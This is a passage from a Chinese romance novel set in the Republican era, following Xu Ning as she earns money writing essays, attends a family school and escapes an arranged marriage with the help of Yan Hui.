看来有希望啊,许甯立马贴上去,扶着他坐在椅上:“韩叔,要不要喝点茶。”
“哈哈哈哈哈。”韩先觉摆摆手,缓了会总算恢复了神色,从前胸口袋取出钱袋,打开抓了一把。
“谢谢韩叔!”许甯高兴地喊,双掌合拢放到他手下。
“叮、叮、叮”
这简直是世界上最美妙的声音!沉甸甸的重感拖在手心,许甯想到一句话。
如果要死,那就让她被钱淹死吧!
“叮、叮。”韩先觉合拢钱袋,放回了口袋,叉着手
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。
五枚…
许甯茫然地看着手心里孤独的五枚钱,真孤独啊,就算凑对还差一块。
“韩叔,就这么多了?”她不死心地继续问。
“不然呢。”韩先觉从她身边走过:“战争年代,小姑娘。”
通货膨胀,许甯紧了紧手心,钱币攥得她手疼,真是该死的通货膨胀啊。
“早点回去吧,这不是你小姑娘该呆的地方。”
“…”是谁把她哄骗进来的。
许甯朝他身后做了个鬼脸,就抓紧离开了。
*
韩先觉上了三楼,看见停驻在围栏前的人影。
他整个人浸入在黑暗中,不知看了多久。
“脸都笑僵了吧,韩爷。”
那人转过身来,抱胸靠在围栏旁。
“是个有趣的丫头。”韩先觉没否认。
“她方才在你背后做鬼脸。”沈斛淡淡道,语气说不准的是落井下石,还是别的意味。
韩先觉走过去拍拍他的肩膀:“羡慕了吧,你以为谁年轻的时候像你这样”他顿了顿,看向沈斛毫无表情的脸。
他的身量极高,面容俊秀但冷酷无情,于是颇有几分气愤道:“冷漠的家伙。”
沈斛瞥了他一眼,难得的没有反驳:“说正事,许宓还在我房里。”
韩先觉:“她后面还跟着个人。”
“知道,躲我屋顶上了。”
“啧啧。”韩先觉想想半夜蹲在屋顶,寒风阵阵,就感觉老寒腿也有了反应:“你小子故意的吧。”
“总不能任由他们欺负。”沈斛说:“许家强迫许宓嫁给严诲,许宓来找我私奔。”
韩先觉挑挑眉,感慨沈斛的女人缘真好。
一个许宓,沈斛就给她倒过一回茶,便被她记上了。
特意放出消息,过几日是云笙首场演出,她就巴巴地偷了亲妈首饰,全砸了进去。
第二个就是小甯,看到他唱个曲,连魂都丢了。
“你小子啊,艳福不浅。”韩先觉将手搁在围栏,唔了声:“不过要是你能好好给我娶妻,生个外甥就更好了。”
“我看小甯就不错,以往还没见你对谁关心过,又是给帕子又是大半夜的唱曲,这可不像你的作风,你说你为什么要跑啊。”
回应他的,是沈斛突然踹过来的一脚。
“少废话,正事要紧。”
韩先觉拍了拍袍子上的灰,骂道:“真是个臭小子,活该独身。”
“许宓你总不能和她私奔,相反要促成她和严诲的婚事,这样有利于我们任务达成。至于许家派来的…”
沈斛打断他:“我早就想好,你派人跟着,大概率是要算计着我们。”
“…你既然都想好,为什么还要来问我。”韩先觉此时想抽口烟,这小子一天不给他气受就难受。
“没什么,出来溜达溜达。”沈斛负着手,哼着小曲离开围栏。
韩先觉再也气不过,掏出口袋里的东西就往他身上砸去。
谁料,沈斛背着身,抬手抓到了手中。
是他送给许宓的蝴蝶发钗。
那天,首演结束,许宓闹着要抱住他,他实在厌烦,随意从妆匮中拿出一支钗子送给她。
没想到,又回到了他的手中。
“她长得和许宓很像。”他忽然道。
“也许同是许家人,如果许宓失败,就换成她吧。”
9. 第八章
许甯是伴着清晨的露水到家,天边卷着乌云,来势汹汹。
刚好,府中的人都躲在屋子里,她也不必担心被发现。
从廊下取走食盒,就迅速往自己的偏远小屋赶去。
“困死我了。”
“可不是,这种天气还要我们早早爬起来布置,不知道是什么喜事。”
路过来的两个丫鬟提着木桶,怨气道。
许府到处都是花窗,刚好镂空的花窗便于她的躲藏,许甯早在两个丫鬟出现时,爬过窗棂躲在墙后,其内是嶙峋的怪石、单木成林的古树,远远望去,像是一副画。
梳着双髻的丫鬟走过,许甯也把耳朵贴在墙上。
“前阵子严大少爷才来过,想来是为了他和大小姐的喜事。”
“这么快?”
“严司令想抱孙子,最近都没叫严大少爷去战场,你瞧最近严大少爷来得多勤。”
“确实…”
“这都是主人家的事,倒也与我们无关,跟你说句有意思的,府里准备请茶园戏子来唱戏。”
“唱戏!”一个丫鬟立马惊喜道,许是被同伴提醒,她的声音又低下去:“真希望是云笙先生。”
躲在墙后的许甯也点点头:要是云笙,她可就不用筹钱了。
“磨叽啥呢!还不快送来。”在她看不到的视线外,突然出现尖刺的喊声。
两丫鬟的声音顿歇,步伐加快离开。
许甯悄眯眯地准备离开,忽然鞋上蹦上来一只兔子。
灰色的毛,和许甯偷走的几只一模一样。
她刚要走,一道男声传来。
“别动。”
许甯僵硬地停住脚,又将自己的头布往下拉了拉,手里的食盒却是怎么也藏不住的。
窸窸窣窣的声音传来,男人一把扑过来按在她的鞋上,抓住了兔子。
“可算是逮到了。”
“…如果没事,我先走了。”许甯急着逃离。
“慢着。”男人喊出声,许甯的脚步却是愈发快,能听他的就是有鬼了。
天边闪过一道闪电,轰隆一声,男人挡在她的面前,也拦住了她的去路。
“二妹妹,快下雨了,先跟我去躲雨吧。”
许甯吃惊地抬头,这才发现眼前的男人是许玮,穿着长袍像个书生,怀中抱着灰兔。
他的眼神平静,扫过她藏在身前的食盒时,也只是看了她一眼,并未说什么。
*
沿着这条路往下走,再过去就是私塾。
许玮把许甯带进去,自顾自地找出木笼将兔子关进去。
“这是你养的?”
“对,很可爱吧。”
许甯不置可否,在她看来,麻辣兔头更美味。
从一开始的尴尬中缓和下来后,她就坐在书桌上翻看着书籍。
这时候的书依旧是竖版排序,从右自左阅读,许甯翻了翻,竟然看见了《孙文学说》、《实业计划》等革命书籍。
民国八年,是新思想与革命理论传播的关键年份。
可许府依旧推行着封建,从府中连盏灯都没有就可见一斑。
她一直以为许玮作为许家继承者,在熏陶下,自然也是封建的。
谁知,他会对这些感兴趣。
许玮走过来,看见许甯盯着一本书看得起劲,问道“你看得懂?”
她当然看得懂,不过是繁体而已。
但她摇了摇头,原身许甯在乡下可不会识字。
“你想来这读书么?”
许甯抬起头,见他一脸认真:“虽说爹娘认为女子无才便是德,但是读些书总是好的,你若想来,我便央求她们送你来读书。”
真的有这么好的事?就算他提了,许夫妇就会答应么?她们恐怕巴不得早日将她嫁走。
许甯冷哼一声:“不了,我怕被因为偷几本书被打死。”
许玮默默地将视线移到门口下食盒上,再转过来看了眼她,那眼神仿佛在说,这不就是你偷的吗。
许甯像只受刺激的刺猬,瞬间竖起浑身的肉刺,跑到门前紧紧抱住食盒。
“你想做什么?”她冷冰冰地望着许玮。
这个她名义上的嫡兄,和许宓同胎出生,就这么一会时间,她已经感觉到,他的心机绝不是外表表现的那么单纯。
“我想让你读书,许甯,你也是我的妹妹,不该困在角落里,吃着剩下的食物。”许玮靠坐在书桌旁,用很慢的语调说。
“我想帮助你,只是身为兄长的责任。”
…冠冕堂皇的伪君子。要是早想帮她不至于现在来提,而且—
她吃的可不是剩饭,那可是她辛苦从还没端出去的菜上扒下来的,换句话说,他们才是吃剩饭。
当然,这句话许甯可不会告诉他。
“随你吧。”她说,接着随手拿起油纸伞,提起食盒,沉默片刻:她突然看见桌上摆的点心。
是梨花酥,摆在许玮手边。
许玮见她盯了两眼,还不懂她的意图,忽然就见许甯过来,塞了一嘴巴点心。
…
“摆摆!”她嚼着腮帮子挥手道。
许玮也顺势挥了挥手,回转过身,望着被洗劫一空的盘子。
可能,他对这个妹妹完全不够了解。
*
走到半路,倾盆大雨悄然而至。
四月是梅雨季节,许甯爬上墙时被雨淋得像个落汤鸡,以这天气情形,以后出门的机会会大打折扣。
“小姐,你总算回来了!”
从桂树上跳下来,春桃就立马凑上前来,激动又带着丝颤音地说。
这让许甯感觉自己像个抛妻弃子的渣男,正想说些什么,春桃就将她拉进去。
“我烧好了热水,小姐你先去洗漱,千万别着凉了。”
许甯点点头,坐在浴桶时,她还在想茶园说的事。
拿起一旁的旧衣,掏出里面的五元大洋,水汽氤氲缭绕,瞬间将硬币浸湿。
她的眸子也染上一层雾气:一千元,她该怎么得到一千元呢。
几乎是瞬间的念头,她想去偷。
时到今日,许家的所作所为完全是弃而不养,年猪好歹还要每年好生照料,她呢,却是丢弃在一旁饿着肚子,如果不是靠着偷,她早就饿死了。
再说了,她这哪叫偷,亲生女儿做的事情,能叫偷吗?
不过...主屋一定有很多看守,她得想个办法。
总是这样爬墙见不得人也不成,如果许玮真能放她出去读书,行动便利性就大大增加了。
许甯想着,屋外的雨噼里啪啦地砸到窗下,有些渗了进来,她打了个寒颤,起身穿衣。
雨连下了几日,又潮又湿,许甯这几日没有再出门,坐在门前用炭笔写散文。
这算是
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她的老本行,从梅兰竹菊写到友情、亲情...望着手中的稿子,最上头的署名青简,雨丝缠缠绵绵,显出她面上的怅然。
民国,国之大难,无数同胞死于战场上,而她连战争都不敢写起。
太弱了,许甯抱起头,感受到这个时代的惨酷。
虽然知道最后终会胜利,严诲、沈斛都会走上战场,甚至沈斛会死在战场上,但是她太弱了,弱到连自己都保护不了。
她知道许多人的结局,唯独不知道自己。
“唉...”
许玮进来时,看见的就是许甯站在雨下,一脸愁容。
“二妹妹,我来接你去私塾了。”
许玮站在破木门前,身后的小厮背着书箱跟在他的身边,打着油纸伞,脚下落着一把旧锁。
铜锁落在湿泥上,锈迹斑斑。
收回视线,许甯叉着双手,抬了抬头,语气称不上和善:“以后不用了?”
许玮自然知道她说的什么,他这几日的恳请,总算让父母答应放二妹妹出来,他脚下用力,生锈的铜锁埋进泥土中,不见踪迹。
“嗯,你自由了。”
随着许玮说的这句话,许甯感到一阵解脱,虽然她从不曾真正被禁锢,但门打开时,这时代似乎也缓缓展开。
春桃知道自家小姐要去私塾后,在她的强烈要求下,许甯换了身衣柜中最隆重的清汉女服饰。
对襟衫是月白色,配着嫩绿的下裳,一根银簪斜插在发髻旁,衬得她温婉端庄。
看多了她的烂衣服,乍见这番打扮,许玮都不得感慨:“顾盼遗光彩,长啸气若兰。”
“那是什么,能吃吗?”许甯投来困惑的眼神,随后又开始质问春桃:“有银簪子都不告诉我,我都快穷死了!快说你还藏了多少东西。”
春桃被挠得大笑:“真没了小姐,这银簪是上次你见钱老板时带回来的啊,哈哈哈哈,你不记得了吗?”
许玮:...是他眼拙。
乡下养大的小姑娘,能有什么气质。
跟着许玮到了私塾,许甯打眼一瞧,就发现两张熟悉的面孔。
许宓、严诲。
“那是严大少爷严诲,这几日来我们家学习。”许玮介绍道。
“严大少爷,这是我的二妹妹:许甯。”
意料之中地,严诲眼中出现一丝惊讶:“这不是爬…”
“严大少爷,你好,认识你很荣幸!”许甯赶紧插嘴道,差点被发现了,她暗地安抚下自己的小心脏。
笑容挂在脸上,格外灿烂,标准的八颗牙露出,严诲迟迟未理,因此也见到这笑容愈发凝固。
“该死的,说话啊。”许甯咬牙切齿地小声道。
两人的尴尬氛围很快传到众人眼中,议论声也纷纷而至。
“许甯?不是爬床的丫鬟生的女儿吗?”
“嘘,就是她。”
“我听说她的亲娘光会使些下三滥的招招宠,她瞧着也不像个老实的。”
“对,离她远些。”
…
许玮咳了声,底下弟弟妹妹的声音才停歇。
许宓轻哼:“爹娘年纪越大,脑子越糊涂。”随后将脸转向另一侧,认真看书。
笑容快要撑不住,许甯没管那些声音,许甯和严诲是同桌,她刚好顺着余光瞥见许宓看的书。
竟然是《金瓶梅》!许甯瞪大了眼睛。
10. 第九章
“许二小姐你好,久闻大名。”
就在许甯忍不住又想踩他脚时,严大爷总算开口了,最后四个字让她不由地怀疑他在阴阳她。
什么久闻大名,她们就见过一次,还是她在爬墙。
许甯毫不犹豫地瞪过去,严诲也瞪向她,两人就像见面的死敌,气焰在周围燃烧。
“呃—”许玮忽然插进两人中间,将严诲按在椅上,又转身对她好气地说。
“先生快来了,你先坐严大少爷旁边吧。”
“我不要和他(她)坐。”
几乎是同一时间,两人互怼道。
这两人的敌意简直莫名其妙,许玮觉得自己脑袋大,偏偏许宓只顾着看书也不搭理。
严诲想和许宓坐,不愿再加入一人也能理解,可是许甯为什么也不愿意。
这可是朔城的香饽饽啊,一个两个的…许玮只得又将视线放到后排。
“你们谁想和她坐?”
“不要。”
“我可不成。”
“要不让她蹲着吧。”话一落地,就被大家耻笑,许甯也笑了,鼓掌道。
“弟弟妹妹们嘴巴真灵光,不如给我先示范一遍?”
“你、你是不是猪脑子,要什么示范。”
“够了!”脏字一出来,许玮脸色沉下来,拿起戒尺狠狠打了出声的男孩掌心,男孩嘴瘪了瘪,但什么都没说。
可见许玮在家地位还是挺高的。
惩治了他,接下来就是她了,课堂中万籁俱静,都等着看许甯的笑话。
谁知,许玮只是不容置喙地把她按到椅子上。
“就坐这。”
许甯没再反驳,严诲也没说话,只是幸灾乐祸地看她一眼,默默地将椅子往许宓方向挪。
“你是不是有病啊。”许宓骂道,严诲又被推过来,神色颇为尴尬。
许甯立马朝他吐舌头,做了个鬼脸。
舔狗,活该被骂。
哼,严诲朝她喷了口鼻息,就又开始贴着许宓。
没过多久,先生拿着书缓步进入,看见生面孔,眯着眼瞧了好几眼。
又问起姓名,可读过书。
许甯一一作答后,开始拿起书好好上课。
因为学习进度各不相同,老先生讲课时常常从浅到深。
比如今日讲的论语,他先是教许甯认字,而后又问起释义,最后问许玮以此为题有何想法。
轮到许玮时,一顿引经据典,许甯听得认真,忽然闻到一股香味。
她往旁边看去,就见一个脑袋低下头,一只手塞进桌下,掏出糕点往嘴里塞,事后用手帕擦掉嘴边残渣。
只看了一眼,许甯就继续将注意力集中在课堂上,右手却开始往课桌下摸索。
她的面上一派正经,右手已经摸到了碟子边沿,迅速地掏出一块,装作不经意地咳嗽,用手帕捂住嘴巴,实际将糕点吞吃下肚。
红枣味的,不好吃。
努力咽下,又向下摸,许甯摸到一块有些柔软的、长条形糕点,她捏了捏,感觉手感不对劲。
刚要收回手,这块长条形“糕点”就动了,翻转过来按住她,他的力道极大,许甯动弹不得,侧过头。
严诲嘴角噙着笑意,额前碎发自然垂落,指尖抚过碎发,露出波光流转的眸子,像逗着她一样,又吃了块糕点。
“死变态。”她做出口型。
严诲没听清,嚼着唔了声。
许甯浅笑了下,脸颊两旁漾出浅浅的酒窝。她靠近他,眼珠黑亮,将严诲愣了几秒。
当他回过神来时,这才发现少女距离他极近,清浅的气息喷在他的耳侧。
“你不觉得,我们。”食指抵着他的掌心缓缓画圈,她的声音也似乎带着缠绵。
“很像在偷情么?”
蓦地,手上一松,严诲脸上迅速爬上红晕,手往身上衣服擦了擦,但那股如电流般的颤栗久久不散。
他说话都有些紧张:“你、你别瞎扯,我是防止、防止你偷我的糕点。”
“噢。”许甯毫不在意他的指控,迅速将糕点碟子往自己这边挪。
“喂,你是不是有些过分了!”
脸上的潮红还未爬满,就被更怒的火气涨红。
知道被许甯戏耍之后。严诲就开始和她在课桌下如小学鸡般抢起糕点。
严诲:“那是我带来的。”
许甯立马塞进嘴里,腮帮子鼓的像松鼠:“课堂上怎么能吃东西,我代替先生缴了。”
严诲掐住她的嘴,作势要抠出来,早就忘了刚才划过心尖的暧昧感:“缴就缴,你吃什么。”
许甯脸被捏成河豚,嘴巴一张一闭:“我饿啊,大爷,哥,给我吃吧。”
她已经几天没吃饱过了。
“不、行!”严诲严肃地说,继续要她吐出来。
“呕、呕”许甯白眼都要翻上天了。
两人就这么闹着,动作带动着桌椅都在嘎吱作响。
突然,台上一声厉喝,两人的动作一滞,嘎吱声骤停。
戒尺拍在桌上,发出格外强烈的警告。
“给我站起来,要闹给我出去闹!”
许甯、严诲乖乖地站起来,低着头:“是,先生。”
她的动作极轻,椅背都没晃出太大声响,先生想到许甯听讲的模样,语气舒缓了些。
“去吧。”
随着两人步调一致地走出学堂,许玮这才收回落在两人身上的目光,他扶了下镜框,折射出晦暗难辨的神情。
“你说你,非要抢我的糕点,这才好了吧,都出来罚站。”严诲手指着许甯脑袋,控诉道。
“这不也挺好的么。”
靠的过近,她仰起头,视线撞进他的眼眸中,阳光从屋檐下漏出来,落在她的眼睫和发丝上,仿佛盛了碎星。
严诲不知怎的,偏过了脑袋,喉结在衣领下滚动了番。
“不过你为什么要带糕点,我好几天没吃饱了,你这行为完全在指引我犯罪。”许甯委屈道,声音还带着些颤抖。
分明知道她是在装可怜,严诲声音还是哑了哑:“下次你同我说,不许再直接偷了。”
“好啊。”得到了赦令,她忽然发现他不看她。
眼睛里闪过一丝狡黠,绕着他走了一圈。
“你怎么不看我?害羞了吗?”
似乎为了印证这句话,每当她转到哪里,严诲的脸就往另一侧偏。
还真是个纯情直男啊,许甯自己虽然也是个
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毛没长齐的单身贵族,但是她就喜欢逗弄他。
“姐夫,看看我呗。”她的语气轻佻。
咳!严诲的脸瞬间爆红,像个猴屁股,怒气冲冲地瞪向她。
“上次不是还叫我堂妹么?”被他这么瞪着,许甯毫无半分自觉,反而眨巴了一下眼睛。
“怎么这回不叫了?哥哥。”
最后两个腻腻的词出来,浑身鸡皮疙瘩就起来了,但是——
哈哈哈哈哈!
自己泡茶就是爽啊。许甯暗自窃喜着,突然肩膀被人按住,她抬头,就见严诲赤红着脸,似乎要将她杀了般。
这眼神突然让许甯意识到眼前的男人上过战场。
这下可不敢再招惹了,许甯忙给他扇风,似乎这样就能将他的火气降下来。
“我错了我错了,我是站你和我姐姐的,别生气别生气哈。”
严诲这才缓缓移开手,望着不远处的烟雨朦胧,心中有股说不出的滋味。
*
下堂之后,没了禁闭,许甯光明正大地走到院墙,透过遮盖的墙洞爬了出去。
她的手中攥着几份稿子,打听了一番,坐车去了城中最大的报社。
朔城日报坐落在明珠百货大楼下,一栋三层小洋楼,临街摆放着各类报纸。
推门而入,浓浓的油墨与纸张混合的气味扑面而来,迎接的是坐堂的女人,穿着洋裙,烫发,瞧着格外漂亮。
“姑娘是来买报?我们这新印好的报纸就在这,近三月的全都有。”
许甯拿出稿子:“我不是来买报,我想找你们编辑投稿。”
“好的,姑娘稍等,我去联系下。”
她往楼上走去,高跟鞋踩在木质楼梯上,发出哒哒的脆响。
许甯拎起裙摆,满袖的花纹,有种奇怪的感觉。
不多久,女人就下来了,对她说:“韩编辑就在二楼右转第一间房间,姑娘上去吧。”
许甯点点头,放下自己的裙摆,走上楼,是一间间小屋子,女人指的房间门敞开着,她靠在门前敲了两下。
“请进。”
房间里摆着一张梨木桌,带着单片镜的编辑摘下镜片,站起身指着对面的椅子说:“青简先生,请坐。”
青简是她的笔名,但从未被喊过的名字,听来却有些别扭。
许甯坐到他对面,点了点头:“韩编辑,你好。”
韩编辑双手撑在下颌:“你好,我看了你的稿子,非常有灵性,我想放在日报小记中,报酬你想按篇结算,还是连载预支?”
没有想到这么顺利,她还愣了几秒,随即不假思索道:“按篇结算。”
“按篇结算为千字三元,你带来的稿子总共十份,每份约三千字,给你结算九十元可行?”
九十…距离一千还有九百一,这么说她还要写三十万字,才能赚到一千元。
许甯倒吸了口气,脸上露出困难的表情:“还能再涨点吗?”
“不好意思,价格已是最高水平,青简先生如果觉得价格不合理,可自寻再找其他报社投稿。”
“不不不,我觉得价格非常合理。”千字三元,在民国确实算非常高价格了,她立马签下合同。
不就是三十万字吗,她可以的!
11. 第十章
雨丝缠缠绵绵下了几日,这日起时,阳光照在许甯脸上。
她抬头挡了下,脸上带着未醒的睡意。
这几日,她每日除了上学就是写稿子,天天写到月上柳梢天,投了几十篇,才赚了三百元。
许甯打了个哈欠,认命地爬起来去私塾。
春桃早就收拾妥当,只差帮她梳妆打扮。
换上一身烟粉暗纹短衫,配同色重工马面裙,她撑开困倦的眼皮,看见镜中上过细粉、胭脂的少女,她抬抬手,止住了春桃想点口脂的动作。
“上学堂罢了,不用打扮得花枝招展。”她的语气恹恹,显然还是疲倦。
春桃迟疑了片刻:“可是…今日太太传令让您见钱老板,不必去私塾。”
“啊?”许甯傻愣了两秒,忽然意识到这句话的意思后,犹如惊醒般道:“什、么!”
春桃又重复了一遍,许甯一下子瘫倒在椅背上。
“养的年猪总算要出栏了。”
…
“不成,我得跑。”少许,她恶狠狠道。
春桃犹豫着:“院子外守了不少仆从,小姐你跑不出去的。”
“那为什么不早点和我说?”许甯拉住春桃的手,欲哭无泪。
“其实…钱老板只是年纪大了些,但家中很有钱,小姐如果你真嫁过去,日子不会差的。”春桃也有几分错愕,她没想到小姐会这么抵抗。
许甯崩溃,有种被背刺的感觉:“可他还有几房姨太太。”
春桃摇摇头,似乎习以为常:“男人,哪没有几个三妻四妾的。”
这可真是时代局限性,她忽然也能够理解春桃。
在她看来,许甯穷困潦倒,爹娘不爱,与其在乡下随意嫁人,照旧穷困潦倒,不如找个有钱人,至少能保未来安康。
毕竟这是动荡不安的年代,谁也说不准会发生什么,但百姓永远是受害者。
如果是真许甯,这个钱老板或许是最佳选择,可她不是,她绝不、绝不能妥协。
握紧藏在袖口下的手掌,许甯走出门,像是认命般被领进前院。
相亲的地点在水榭,由亭台建成,她还在廊下行走时,就感觉一束灼热的目光落在她的身上。
进了亭子,视线更加强烈,太太坐在台子旁,捏着佛串同钱老板侃侃而谈。
“二小姐来了。”仆人禀报道,许甯就站进去了。
“这是我们家二女儿,许甯,您曾见过的。”太太脸上堆着笑道。
那道瞩目的视线总算消失了,钱老板看向太太,笑着点头,颌下堆积三四层肥肉。
“是的,许二小姐越发漂亮了。”
看出来钱老板此次意愿极佳,太太这就起身给他腾出空闲处。
“既如此,你们先聊。”
走前,她还瞥了眼许甯,暗含威胁。
许甯不动声色地往旁移了下,没说话,仿佛像个木呆子。
太太走后,钱老板就带着满身的赘肉凑上来了,他的身量同许甯差不多,浑身带着股烟草味。
“许甯,甯儿?”他摩擦着掌心,似乎在等待着什么。
呕,许甯的眉头不可避免地蹙了蹙,然后她侧过头,眼珠子乱转了圈,一把抓住他脸上的赘肉,狠狠揉搓了一番。
“嘿嘿,肉!我要吃肉!”
装疯卖傻嘛,她向来很会。
“甯儿,你这是怎么了?”钱老板瞪大被肉挤的小眼睛,有些云里雾里道。
上次他见许甯时,还没这么心动,瞧着模样好,那骨架估计一到床上就得散架。
许家好说歹说,他才答应再见一次,谁知这丫头几月不见,变得这般昳丽,惹得他心跳加快,只想快些抱着美人归。
可是,现下是什么意思?
钱老板被揪得面目全非,也不生气。许甯不得已,像个疯子般拔下发髻上的银钗,尖部对准他。
“肉,我要吃肉!”
钱大老板吓的往后退了两步,然后被台子挡住,再往后可就是池水,不敢靠近。
“乖,有事好商量,我们回家煮肉好吗?可多肉了。”钱老板吓的瑟瑟发抖,他知道许甯在家中过的不好,可没想到她被饿的逼疯了。
真是该死的许老婆子!
他恨恨得想,又被步步紧逼地往后越退越多,甚至站在台上,脚下虚晃了两下。
好险,差点掉下去了。
就在他庆幸之时,一颗石子以肉眼可见的速度飞快袭来,打中了他的右腿。
许甯有些惊诧。
随即第二颗、第三课…无数的石子非常精准地打在钱老板混身各处。
“啊啊啊啊”钱老板被打得连连嗷叫。
“咕咚”一声,他再也稳不住地掉下水,扑腾扑腾地乱挥了两下,大喊着“救命啊、救命啊…”
牵起的水波向外漾去,波光粼粼,钱老板就像只胖鱼,咕噜咕噜的叫喊着,一时淹入,一时爬起。
许甯再也忍不住,扶着肚子哈哈大笑了起来。
严诲拿着弹弓,沉着脸走过来时,许甯扯了扯他的衣摆:“快,先救人,别真淹死了哈哈哈哈哈!”
本来郁结的心情,在看到她笑颜的瞬间,又平复了下来,嘴角也不由地勾起笑意。
“我已经跟下人说了。”
他今日本来挺高兴,买了芝兰斋最出名的南味糕点,想拿来逗逗许甯。
结果他在私塾等了许久,直到先生开课时也没等来她,最后还是许玮不经意地提起许甯今日相亲,不会来上课。
他的心里突然就冒起一阵火。
然后…不知怎的,他就听到她们在水榭,他赶到时,看见两人相隔极近,就用弹弓打了那个臃肿的男人。
他拉起许甯,耻笑她:“你的眼光也太差了,找的男人都是些什么货色。”
下人正在打捞钱老板,他呛了几口水,足够臃肿的身材让他得以在水上漂浮。
见到人没事,许甯就放下心来,可是下人划着木筏去救钱老板的样子真的很好笑,像躺尸的胖鱼,还有迟迟都捞不上来的空军钓鱼佬。
她恨手中没有手机,否则拍下来绝对火热。
“为什么不回答我的话。”高挑的身材挡住她的视线,足以把她罩在影下。
许甯推推他:“先让我看看戏。”
“这个男人有这么好看的?许甯,你就喜欢这样的男人?”
严诲的
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声音压的很低,从他脸上撒下一道阴影,几乎将他的棱角全部遮住。
不对劲,不对劲。
即使是单身贵族汪,许甯也察觉出这话中的隐藏的酸意。
不会吧,许甯收回视线,正对上严诲略显幽深的眼神。
“这个、这个,你知道的。”她的脸上扯出几分笑意:“我对男的一向没感觉,对吧好姐夫。”
她踮起脚,一把将手臂搭在他的肩上,试图与他营造好哥们的气息。
同时搬出姐夫这个词,让他快速想起许宓。
果然,他的眼神瞬间清明,甚至有些懊恼。
“谢谢你啊,要不是你我今天真是完蛋了。”许甯对他说。
“那你打算怎么谢我,上次你踩我一脚记忆尤深啊。”严诲也揽过许甯的肩,两人犹如最好的铁哥们向外走。
“那贴定不能让哥们受委屈,你踩回来。”许甯拍拍胸膛。
“不成,等下给你踩骨折了就要打死我了。”
“那你想怎样啊!”
“给我煮肉吧,甯儿~”严诲调笑她。
“滚啊!”
*
因着严大少爷认定旷课就是旷课,没必要再回去罚站,于是许甯假扮他的小厮,成功从许府大门走了出来。
回望朱红大门,许甯抬手压了压帽沿。
“少爷,请进。”下人抵住车顶,开门示意。
许甯站在严诲身后,等着他上车,谁知他反而一把拉住她,钻入车中。
淡淡的桂香扑鼻而来,带着男性独有的热量,在狭小的空间弥散。
“去礼查饭店。”
“好的少爷。”
许甯悄悄挪到车窗下,雪佛兰开的并不快,街景从眼前划过,这是同朔城日报相反的方向,她还未见过。
一条大河分割两地,汽车驶过大桥,越发多的西式洋楼出现。
路上甚至有不少金发碧眼的洋人。
“这是租界区?”许甯好奇问。
严诲翘着二郎腿,双手交叠放在膝盖上,一身笔挺西装衬的肩背挺拔,笑看着她点点头。
许甯将他上下打量了番:“我还以为严大少爷会带我去秦楼楚馆。”
她的目光过于炽热,每每就这样吸引他的眼球,可真当他望进深处,却是清澈明亮。
“想去?”他语气云淡风轻,仿佛在说一件无关紧要的小事,指尖敲了敲膝盖:“老吴掉头,我们去青楼。”
“好嘞,少爷!”司机老吴回得格外快,转动方向盘,车往右急转弯,许甯没反应过来就栽倒在一个温热的怀中。
“别,我说说而已,师傅快转弯回去。”许甯气急败坏道,老吴不知怎的,转弯后速度飞快,合着原先的龟速是玩她的啊。
她爬起来,按住驾驶座:“我们说笑而已,不必当真,师傅快回去吧。”
“小姐,我只听少爷的话。”老吴专心开着车,公事公办道。
许甯头一次感觉搬砖砸了自己脚,她怒瞪着严诲,后者一副看玩笑的表情:“我不去春楼,我要回家。”
“许二小姐就这么出尔反尔?”
“那我去,但我要看你一夜御…唔唔唔”
12. 第十一章
许甯被严诲狠狠捂住嘴,几乎将她半张脸盖住。
严诲耳根带红地瞥了老吴一眼,见他并未有什么反应,这才回过头来剜了她一眼。
“不许说,我们就调转车头好吗?”
许甯杏眼圆瞪,呜咽着点头。
严诲放下手,许甯擦了擦嘴巴:“不说就不说,捂住嘴我口水差点掉下来了。”
严诲命令返程后,这时才感觉手心有些濡湿,咦了声,一把擦在她的袖子上。
“…”许甯倒也没恼,坐在他旁边,回归正题:“严大少爷是带我出来吃饭的?”
“不。”严诲唇角牵起:“是让你煮肉。”
说煮肉就煮肉,进了豪华的礼查饭店,严诲没点餐,反而让呈上生肉和小炉子。
瞧出他是这的高级客户,大堂经理听到他的无理要求不但没反驳,反而笑眯眯地准备包厢。
包厢正中放着一张大圆桌,旁边摆着放沙发茶几之物。
很快,一条生肉并小火炉、调料、刀具统统送上来。
“你来真的啊。”许甯讶然地看向坐在沙发上看报的严诲。
“不然呢,你说过要报答我。”严诲不置可否,足有半张桌面大的报纸仅靠骨节分明的手指按住,他翻过页,许甯竟看到大大的“朔城日报”四字。
一股不好预感涌上心头,果然,页角垂下,倒过来的青简二字就落在许甯眼中。
指尖往上划,严诲开始看她写过的文章。
啊啊啊啊。
羞耻症犯了,许甯悄悄上前准备将报纸抢走,就在她出手的刹那,一双黑眸从报纸上移开,盯向她:
“许二小姐我还等着饭吃呢,总不能言而无信吧。”
“是、是。”许甯收回手,陪笑道。
回到圆桌,许甯背着身,小刀磨得滋啦作响。
没事,她又没写什么,就是一些自己经历过的事情而已。
她割着肉条,忽而响起一道轻笑。
“这篇文章有意思。你猜第一句话说的什么?”
“什么?”许甯愣了愣。
“江南的桂,是不按时节绽放的。”
“!”许甯尴尬地笑了两声:“这不是很正常嘛。”
严诲不回应,反而继续读下去,声音缓缓。
“春至夏末、秋收冬藏,无论何时何地,当米粒大的黄花簇在叶间,我就会爬上树稍,闻着馥郁花香,讨来母亲一顿打。”
语气顿住,他点评道:“和你很像。”
“…”那可不,她写的。
“瞎扯,我没作者那么欠揍。”许甯快速将肉块扔入火炉子,倒上水,绝不让他发现她就是青简。
“我倒是觉得有过之而无不及。”严诲缓缓说。
“是,您说的最对,别念了,影响我做菜。”许甯嘴角扯起,拿起调料瓶,也不管三七二十一,直接往里倒。
扔完,她就往外走,顺便把门带上了。
听见动静,严诲抬头看了眼,说了句别跑太远,就继续看报了。
礼查饭店坐落在水上,共两层,二楼是贵宾室,来来往往穿梭着不少上流人士,穿着西式,因此路过她时总要多看两眼。
她被看的浑身不自在,站在向下的楼梯处,不上不下地想着要不回去算了。
就在这时,楼下走来一道身影。
“小甯,好巧啊,怎么这副打扮。”
韩先觉远远就看见那抹身影,马褂、圆帽、还有垂至腰间的长辫,活脱脱假小子打扮,打眼一看,竟是熟人。
许甯眼睛瞬间亮了亮:“韩叔!”
发辫挂在身前,她拿在手中晃荡着:“我家中管得严,不这样根本出不来。”
韩先觉促狭地笑了两声:“既然偶遇,要不要赏脸吃饭?”
“荣幸之至。”
许甯跟着韩先觉下了楼,这里都是一排排的方桌,窗边束起飘窗,波光粼粼的河面一望无垠。
“这家饭店是由轮船改建,再过几分钟,就要启程了。”韩先觉看了眼怀表。
